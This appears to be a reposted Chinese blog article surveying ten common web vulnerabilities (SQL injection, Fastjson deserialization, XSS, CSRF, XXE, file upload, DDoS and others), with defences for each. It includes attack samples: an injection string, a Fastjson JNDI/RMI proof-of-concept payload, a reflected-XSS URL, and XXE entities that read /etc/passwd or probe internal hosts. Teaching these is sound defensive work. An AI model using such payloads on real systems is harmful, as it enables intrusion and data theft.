10种常见安全漏洞浅析

摘要:
SQL注入是一种代码注入技术,通常用于攻击web应用程序。它目前是黑客攻击数据库最常用的手段之一。不安全的反序列化可能导致远程代码执行、重放攻击、注入攻击或权限升级攻击。Fastjson之前经常暴露安全漏洞。现在让我们分析fastjson版本1.2.24中的反序列化漏洞。利用此漏洞的常见方法是通过jndi注入实现RCE。

1. SQL 注入

1.1 什么是SQL注入?

SQL注入是一种代码注入技术,一般被应用于攻击web应用程序。它通过在web应用接口传入一些特殊参数字符,来欺骗应用服务器,执行恶意的SQL命令,以达到非法获取系统信息的目的。它目前是黑客对数据库进行攻击的最常用手段之一。

1.2 SQL注入是如何攻击的?

举个常见的业务场景:在web表单搜索框输入员工名字,然后后台查询出对应名字的员工。

10种常见安全漏洞浅析第1张

这种场景下,一般都是前端页面把一个名字参数name传到后台,然后后台通过SQL把结果查询出来

name = "田螺"; //前端传过来的

SQL= "select * from staff where name=" + name;  //根据前端传过来的name参数,查询数据库员工表staff

因为SQL是直接拼接的,如果我们完全信任前端传的参数的话。假如前端传这么一个参数时'' or '1'='1',SQL就变成酱紫的啦。

select * from staff where name='' or '1'='1';

这个SQL会把所有的员工信息全都查出来了,酱紫请求用户已经越权啦。请求者可以获取所有员工的信息,其他用户信息已经暴露了啦。

1.3 如何预防SQL注入问题

1.3.1 使用#{}而不是${}

在MyBatis中,使用#{}而不是${},可以很大程度防止sql注入。

10种常见安全漏洞浅析第2张

1.3.2 不要暴露一些不必要的日志或者安全信息,比如避免直接响应一些sql异常信息。

如果SQL发生异常了,不要把这些信息暴露响应给用户,可以自定义异常进行响应

1.3.3 不相信任何外部输入参数,过滤参数中含有的一些数据库关键词关键词

可以加个参数校验过滤的方法,过滤union,or等数据库关键词

1.3.4 适当的权限控制

在你查询信息时,先校验下当前用户是否有这个权限。比如说,实现代码的时候,可以让用户多传一个企业Id什么的,或者获取当前用户的session信息等,在查询前,先校验一下当前用户是否是这个企业下的等等,是的话才有这个查询员工的权限。

2. JSON反序列化漏洞——如Fastjson安全漏洞

2.1 什么是JSON序列化,JSON发序列化

  • 序列化:把对象转换为字节序列的过程
  • 反序列:把字节序列恢复为Java对象的过程

10种常见安全漏洞浅析第3张

Json序列化就是将对象转换成Json格式的字符串,JSON反序列化就是Json串转换成对象

2.2 JSON 反序列化漏洞是如何被攻击?

不安全的反序列化可以导致远程代码执行、重放攻击、注入攻击或特权升级攻击。之前Fastjson频繁爆出安全漏洞,我们现在分析fastjson 1.2.24版本的一个反序列化漏洞吧,这个漏洞比较常见的利用手法就是通过jndi注入的方式实现RCE。

我们先来看fastjson一个反序列化的简单例子:

public class User {
    private String name;

    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了name方法");
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了age方法");
        this.age = age;
    }

    public static void main(String[] args) {
        String str = "{"@type":"cn.eovie.bean.User","age":26,"name":"捡田螺的小男孩"}";
        User user = JSON.parseObject(str,User.class);
    }
}

运行结果:

调用了age方法
调用了name方法

加了@type属性就能调用对应对象的setXXX方法,而@type表示指定反序列化成某个类。如果我们能够找到一个类,而这个类的某个setXXX方法中通过我们的精心构造能够完成命令执行,即可达到攻击的目的啦。

10种常见安全漏洞浅析第4张

 有兴趣的小伙伴,可以看下它的源代码

10种常见安全漏洞浅析第5张

  public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }
    
      public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }
    
    private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
    }

setDataSourceName 简单设置了设置了dataSourceName的值,setAutoCommit中有connect操作,connect方法中有典型的jndi的lookup方法调用,参数刚好就是在setDataSourceName中设置的dataSourceName。

因此,有漏洞的反序列代码实现如下即可:

public class FastjsonTest {

    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }

    public static void testJdbcRowSetImpl(){
        //JDK 8u121以后版本需要设置改系统变量
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //RMI
        String payload2 = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit"," +
                " "autoCommit":true}";
        JSONObject.parseObject(payload2);
    }
}

漏洞复现的流程如下:

 10种常见安全漏洞浅析第6张

参考的代码来源这里哈,fastjson漏洞代码测试(https://github.com/earayu/fastjson_jndi_poc)

如何解决json反序列化漏洞问题

  • 可以升级版本,比如fastjson后面版本,增强AutoType打开时的安全性 fastjson,增加了AutoType黑名单等等,都是为了应对这些安全漏洞。
  • 反序列化有fastjson、gson、jackson等等类型,可以替换其他类型。
  • 升级+打开safemode

3. XSS 攻击

3.1 什么是XSS?

 10种常见安全漏洞浅析第7张

3.2 XSS是如何攻击的?

拿反射型举个例子吧,流程图如下:

 10种常见安全漏洞浅析第8张

 我们搞点简单代码样例吧,首先正常html页面如下:

<input type="text" name="name" />
<input type="submit" value="搜索" onclick="http://127.0.0.1/search?name=">
</body>
  1. 用户输入搜索信息,点击搜索按钮,就是到达正常服务器的。如果黑客在url后面的参数中加入如下的恶意攻击代码。
http://127.0.0.1/search?keyword="<a href ="http://www.baidu.com"><script>alert('XSS');</script></a>
  1. 当用户打开带有恶意代码的URL的时候,正常服务器会解析出请求参数 name,得到"",拼接到 HTML 中返回给浏览器。形成了如下的 HTML:

  2. 用户浏览器接收到响应后执行解析,其中的恶意代码也会被执行到。

10种常见安全漏洞浅析第9张

4.这里的链接我写的是百度搜索页,实际上黑客攻击的时候,是引诱用户输入某些重要信息,然后跳到他们自己的服务器,以窃取用户提交的内容信息。

3.3 如何解决XSS攻击问题

  • 不相信用户的输入,对输入进行过滤,过滤标签等,只允许合法值。
  • HTML 转义

10种常见安全漏洞浅析第10张

  • 对于链接跳转,如<a href="http://t.zoukankan.com/xxx" 等,要校验内容,禁止以script开头的非法链接。
  • 限制输入长度等等

4. CSRF 攻击

4.1 什么是CSRF 攻击?

CSRF,跨站请求伪造(英语:Cross-site request forgery),简单点说就是,攻击者盗用了你的身份,以你的名义发送恶意请求。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

4.2 CSRF是如何攻击的呢?

10种常见安全漏洞浅析第11张

    1. Tom 登陆银行,没有退出,浏览器包含了Tom在银行的身份认证信息。
    2. 黑客Jerry将伪造的转账请求,包含在在帖子
    3. Tom在银行网站保持登陆的情况下,浏览帖子
    4. 将伪造的转账请求连同身份认证信息,发送到银行网站
    5. 银行网站看到身份认证信息,以为就是Tom的合法操作,最后造成Tom资金损失。

    4.3 如何解决CSRF攻击

    • 检查Referer字段。HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。
    • 添加校验token。

    5. 文件上传下载漏洞

    5.1 文件上传漏洞

    10种常见安全漏洞浅析第12张

    解决办法一般就是:

    • 限制服务器相关文件目录的权限
    • 校验上传的文件,如后缀名 禁止上传恶意代码的文件
    • 尽量禁止使用前端上传的文件名

    5.2 文件下载漏洞

    文件下载漏洞,举个例子,使用 .. 等字符,使应用读取到指定目录之外的其他目录中的文件内容,从而可能读取到服务器的其他相关重要信息。

    10种常见安全漏洞浅析第13张

    6. 敏感数据泄露

    这个相对比较好理解,一般敏感信息包括密码、用户手机身份证信息、财务数据等等,由于web应用或者API未加密或者疏忽保护,导致这些数据极易被黑客利用。所以我们需要保护好用户的隐私数据,比如用户密码加密保存,请求采用https加密,重要第三方接口采用加签验签,服务端日志不打印敏感数据等等。

    7. XXE 漏洞

    7.1 什么是XXE

    10种常见安全漏洞浅析第14张

    7.2 XXE三种攻击场景

    • 场景1. 攻击者尝试从服务端提取数据
    <?xml version="1.0"?>
    <!DOCTYPE foo [
    <!ELEMENT foo (#ANY)>
    <!ENTITY file SYSTEM "file:///etc/passwd">]>
    ]>
    <foo>&xxe;</foo>
    • 场景2. 攻击者通过将上面的实体行更改为一下内容来探测服务器的专用网络
    <!ENTITY xxe SYSTEM "https://192.168.1.1/private">]>
    • 场景3. 攻击者通过恶意文件执行拒绝服务攻击
    <!ENTITY xxe SYSTEM "file:///dev/random">]>

    7.3 如何防御XXE

    • 使用开发语言提供的禁用外部实体的方法
    • 过滤用户提交的XML数据,过滤<!DOCTYPE和<!ENTITY等关键词。

    8. DDoS 攻击

    8.1 什么是DDos攻击

    DDoS 攻击,英文全称是 Distributed Denial of Service,谷歌翻译过来就是“分布式拒绝服务”。一般来说是指攻击者对目标网站在较短的时间内发起大量请求,大规模消耗目标网站的主机资源,让它无法正常服务。在线游戏、互联网金融等领域是 DDoS 攻击的高发行业。

    10种常见安全漏洞浅析第15张

    8.2 如何应对 DDoS 攻击?

    • 高防服务器,即能独立硬防御 50Gbps 以上的服务器,能够帮助网站拒绝服务攻击,定期扫描网络主节点等
    • 黑名单
    • DDoS 清洗
    • CDN 加速

    9. 框架或应用漏洞

    • Struts 框架漏洞:远程命令执行漏洞和开放重定向漏洞
    • QQ Browser 9.6:API 权限控制问题导致泄露隐私模式
    • Oracle GlassFish Server:REST CSRF
    • WebLogic: 未授权命令执行漏洞
    • Hacking Docker:Registry API 未授权访问
    • WordPress 4.7 / 4.7.1:REST API 内容注入漏洞

    10. 弱口令、证书有效性验证、内部接口在公网暴露、未鉴权等权限相关漏洞

    10.1 弱口令

    10种常见安全漏洞浅析第16张

    10.2 证书有效性验证漏洞

    如果不对证书进行有效性验证,那https就如同虚设啦。

    • 如果是客户生成的证书,需要跟系统可信根CA形成信任链,不能为了解决ssl证书报错的问题,选择在客户端代码中信任客户端中所有证书的方式。
    • 证书快过期时,需要提前更换。

    10.3 未鉴权等权限相关漏洞

    一些比较重要的接口,一般建议鉴权。比如你查询某账号的转账记录,肯定需要先校验该账号是不是操作人旗下的啦。

     

    免责声明:文章转载自《10种常见安全漏洞浅析》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

    上篇vim 快速入门OneinStack——PHP多版本共存下篇

    宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

    相关文章

    序列化器关系 (Serializer relations)

    糟糕的程序员担心代码。好的程序员担心数据结构和它们的关系。—— Linus Torvalds 关系字段用于表示模型关系。它们可以应用于 ForeignKey,ManyToManyField 和 OneToOneField 关系,以及反向关系和自定义关系 (例如:GenericForeignKey)。 注意:关系字段在 relations.py 中声明,但...

    JAVA基础4---序列化和反序列化深入整理(JDK序列化)

    一、什么是序列化和反序列化? 序列化:将对象状态信息转化成可以存储或传输的形式的过程(Java中就是将对象转化成字节序列的过程) 反序列化:从存储文件中恢复对象的过程(Java中就是通过字节序列转化成对象的过程) 二、为什么要序列化和反序列化? Java中对象都是存储在内存中,准确地说是JVM的堆或栈内存中,可以各个线程之间进行对象传输,但是无法在进程之间...

    以Docker容器的形式运行GVM-11

    OpenVAS(Open Vulnerability Assessment System)是在nessus基础上发展起来的一个开源的漏洞扫描程序,其核心部件是一套漏洞测试程序,可以检测远程系统和应用程序中的安全问题。 (一)在ubuntu 18系统中安装docker apt install docker.io  //在线安装docker systemctl...

    如何找到fastjson.jar这个阿里开源的jar包

    如何找到fastjson.jar这个阿里开源的jar包 转载 https://blog.csdn.net/AngelLover2017/article/details/84261261 Java编程中有时候会遇到JavaBean对象、json字符串、json对象之间互相转换的问题,网上找发现都是说用fastjson很方便,一大堆教程说如何使用fa...

    Java几种常用JSON库性能比较

    本篇通过JMH来测试一下Java中几种常见的JSON解析库的性能。 每次都在网上看到别人说什么某某库性能是如何如何的好,碾压其他的库。但是百闻不如一见,只有自己亲手测试过的才是最值得相信的。 JSON不管是在Web开发还是服务器开发中是相当常见的数据传输格式,一般情况我们对于JSON解析构造的性能并不需要过于关心,除非是在性能要求比较高的系统。 目前对于J...

    Jackson替换fastjson

    为什么要替换fastjson 工程里大量使用了fastjson作为序列化和反序列化框架,甚至ORM在处理部分字段也依赖fastjson进行序列化和反序列化。那么作为大量使用的基础框架,为什么还要进行替换呢? 原因有以下几点: fastjson太过于侧重性能,对于部分高级特性支持不够,而且部分自定义特性完全偏离了json和js规范导致和其他框架不兼容; f...